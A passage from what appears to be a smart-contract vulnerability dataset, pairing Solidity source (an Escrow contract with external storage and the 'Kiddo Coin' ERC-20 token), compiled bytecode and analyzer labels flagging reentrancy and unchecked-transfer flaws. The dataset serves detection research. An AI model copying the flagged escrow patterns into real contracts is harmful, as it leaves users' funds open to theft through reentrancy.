000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be9c4152d364e7f45c1c815aa30e4f65ec36a16d8181e7be3cd575537f07b8c064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,369 |
0x81c8213193b12b8b4781d20a251a24a137a9c9e6
|
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EternalStorage is Ownable {
struct Storage {
mapping(uint256 => uint256) _uint;
mapping(uint256 => address) _address;
}
Storage internal s;
address allowed;
constructor(uint _rF, address _r, address _f, address _a, address _t)
public {
setAddress(0, _a);
setAddress(1, _r);
setUint(1, _rF);
setAddress(2, _f);
setAddress(3, _t);
}
modifier onlyAllowed() {
require(msg.sender == owner || msg.sender == allowed);
_;
}
function identify(address _address) external onlyOwner {
allowed = _address;
}
/**
* @dev Allows the current owner to transfer control of the contract to a
* newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
Ownable.transferOwnership(newOwner);
}
/**
* @dev Allows the owner to set a value for an unsigned integer variable.
* @param i Unsigned integer variable key
* @param v The value to be stored
*/
function setUint(uint256 i, uint256 v) public onlyOwner {
s._uint[i] = v;
}
/**
* @dev Allows the owner to set a value for a address variable.
* @param i Unsigned integer variable key
* @param v The value to be stored
*/
function setAddress(uint256 i, address v) public onlyOwner {
s._address[i] = v;
}
/**
* @dev Get the value stored of a uint variable by the hash name
* @param i Unsigned integer variable key
*/
function getUint(uint256 i) external view onlyAllowed returns (uint256) {
return s._uint[i];
}
/**
* @dev Get the value stored of a address variable by the hash name
* @param i Unsigned integer variable key
*/
function getAddress(uint256 i) external view onlyAllowed returns (address) {
return s._address[i];
}
function selfDestruct () external onlyOwner {
selfdestruct(owner);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Escrow is Ownable {
enum transactionStatus {
Default,
Pending,
PendingR1,
PendingR2,
Completed,
Canceled}
struct Transaction {
transactionStatus status;
uint baseAmt;
uint txnAmt;
uint sellerFee;
uint buyerFee;
uint buyerBalance;
address buyer;
uint token;
}
mapping(address => Transaction) transactions;
mapping(address => uint) balance;
ERC20 base;
ERC20 token;
EternalStorage eternal;
uint rF;
address r;
address reserve;
constructor(ERC20 _base, address _s) public {
base = _base;
eternal = EternalStorage(_s);
}
modifier onlyAllowed() {
require(msg.sender == owner || msg.sender == eternal.getAddress(0));
_;
}
function createTransaction (
address _tag,
uint _baseAmt,
uint _txnAmt,
uint _sellerFee,
uint _buyerFee) external payable {
Transaction storage transaction = transactions[_tag];
require(transaction.buyer == 0x0);
transactions[_tag] =
Transaction(
transactionStatus.Pending,
_baseAmt,
_txnAmt,
_sellerFee,
_buyerFee,
0,
msg.sender,
0);
uint buyerTotal = _txnAmt + _buyerFee;
require(transaction.buyerBalance + msg.value == buyerTotal);
transaction.buyerBalance += msg.value;
balance[msg.sender] += msg.value;
}
function createTokenTransaction (
address _tag,
uint _baseAmt,
uint _txnAmt,
uint _sellerFee,
uint _buyerFee,
address _buyer,
uint _token) external onlyAllowed {
require(_token != 0);
require(eternal.getAddress(_token) != 0x0);
Transaction storage transaction = transactions[_tag];
require(transaction.buyer == 0x0);
transactions[_tag] =
Transaction(
transactionStatus.Pending,
_baseAmt,
_txnAmt,
_sellerFee,
_buyerFee,
0,
_buyer,
_token);
uint buyerTotal = _txnAmt + _buyerFee;
token = ERC20(eternal.getAddress(_token));
token.transferFrom(_buyer, address(this), buyerTotal);
transaction.buyerBalance += buyerTotal;
}
function release(address _tag) external onlyAllowed {
releaseFunds(_tag);
}
function releaseFunds (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.Pending);
uint buyerTotal = transaction.txnAmt + transaction.buyerFee;
uint buyerBalance = transaction.buyerBalance;
transaction.buyerBalance = 0;
require(buyerTotal == buyerBalance);
base.transferFrom(_tag, transaction.buyer, transaction.baseAmt);
uint totalFees = transaction.buyerFee + transaction.sellerFee;
uint sellerTotal = transaction.txnAmt - transaction.sellerFee;
transaction.txnAmt = 0;
transaction.sellerFee = 0;
if (transaction.token == 0) {
_tag.transfer(sellerTotal);
owner.transfer(totalFees);
} else {
token = ERC20(eternal.getAddress(transaction.token));
token.transfer(_tag, sellerTotal);
token.transfer(owner, totalFees);
}
transaction.status = transactionStatus.PendingR1;
recovery(_tag);
}
function recovery(address _tag) private {
r1(_tag);
r2(_tag);
}
function r1 (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.PendingR1);
transaction.status = transactionStatus.PendingR2;
base.transferFrom(reserve, _tag, rF);
}
function r2 (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.PendingR2);
transaction.buyer = 0x0;
transaction.status = transactionStatus.Completed;
base.transferFrom(_tag, r, rF);
}
function cancel (address _tag) external onlyAllowed {
Transaction storage transaction = transactions[_tag];
if (transaction.token == 0) {
cancelTransaction(_tag);
} else {
cancelTokenTransaction(_tag);
}
}
function cancelTransaction (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.Pending);
uint refund = transaction.buyerBalance;
transaction.buyerBalance = 0;
address buyer = transaction.buyer;
transaction.buyer = 0x0;
buyer.transfer(refund);
transaction.status = transactionStatus.Canceled;
}
function cancelTokenTransaction (address _tag) private {
Transaction storage transaction = transactions[_tag];
require(transaction.status == transactionStatus.Pending);
token = ERC20(eternal.getAddress(transaction.token));
uint refund = transaction.buyerBalance;
transaction.buyerBalance = 0;
address buyer = transaction.buyer;
transaction.buyer = 0x0;
token.transfer(buyer, refund);
transaction.status = transactionStatus.Canceled;
}
function resync () external onlyOwner {
rF = eternal.getUint(1);
r = eternal.getAddress(1);
reserve = eternal.getAddress(2);
}
function selfDestruct () external onlyOwner {
selfdestruct(owner);
}
function status (address _tag) external view onlyOwner returns (
transactionStatus _status,
uint _baseAmt,
uint _txnAmt,
uint _sellerFee,
uint _buyerFee,
uint _buyerBalance,
address _buyer,
uint _token) {
Transaction storage transaction = transactions[_tag];
return (
transaction.status,
transaction.baseAmt,
transaction.txnAmt,
transaction.sellerFee,
transaction.buyerFee,
transaction.buyerBalance,
transaction.buyer,
transaction.token
);
}
function getAddress (uint i) external view onlyAllowed returns (address) {
return eternal.getAddress(i);
}
function variables () external view onlyAllowed returns (
address,
address,
address,
uint) {
address p = eternal.getAddress(0);
return (p, r, reserve, rF);
}
}
|
0x608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680634d207d9a1461009e57806361e3c944146100e1578063715018a6146101185780638da5cb5b1461012f5780639cb8a26a14610186578063a9c70eaa1461019d578063ac4ce2c6146101de578063b93f9b0a1461022b578063f2fde38b14610298575b600080fd5b3480156100aa57600080fd5b506100df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102db565b005b3480156100ed57600080fd5b50610116600480360381019080803590602001909291908035906020019092919050505061037a565b005b34801561012457600080fd5b5061012d6103f4565b005b34801561013b57600080fd5b506101446104f6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019257600080fd5b5061019b61051b565b005b3480156101a957600080fd5b506101c8600480360381019080803590602001909291905050506105b0565b6040518082815260200191505060405180910390f35b3480156101ea57600080fd5b5061022960048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610683565b005b34801561023757600080fd5b5061025660048036038101908080359060200190929190505050610736565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102a457600080fd5b506102d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610828565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561033657600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103d557600080fd5b8060016000016000848152602001908152602001600020819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561044f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561057657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061065a5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561066557600080fd5b60016000016000838152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106de57600080fd5b8060018001600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806107e05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156107eb57600080fd5b60018001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088357600080fd5b61088c8161088f565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ea57600080fd5b6108f3816108f6565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561093257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820264c4faa72d2ad9f8c94a12a23e895c63fbf28a4fe450aba70f04d302d450c320029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,370 |
0xeae5791bd6a3827520176abe778b7d619a09bddf
|
pragma solidity ^0.4.19;
/*
* Creator: KID (Kiddo Coin)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Kiddo Coin smart contract.
*/
contract KIDToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 100000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function KIDToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Kiddo Coin";
string constant public symbol = "KID";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a75565b005b34156103f057600080fd5b6103f8610c70565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca9565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d35565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610dbc565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600a81526020017f4b6964646f20436f696e0000000000000000000000000000000000000000000081525081565b60008061067f3385610d35565b148061068b5750600082145b151561069657600080fd5b6106a08383610f1d565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d684848461100f565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a6b576109666a52b7d2dcc80cd2e40000006004546113f5565b8211156109765760009050610a70565b6109be6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0c6004548361140e565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a70565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0e57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb357600080fd5b5af11515610bc057600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f4b4944000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0457600080fd5b600560009054906101000a900460ff1615610d225760009050610d2f565b610d2c838361142c565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e5357600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104c57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110d957600090506113ee565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112857600090506113ee565b60008211801561116457508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611384576111ef600160008673ff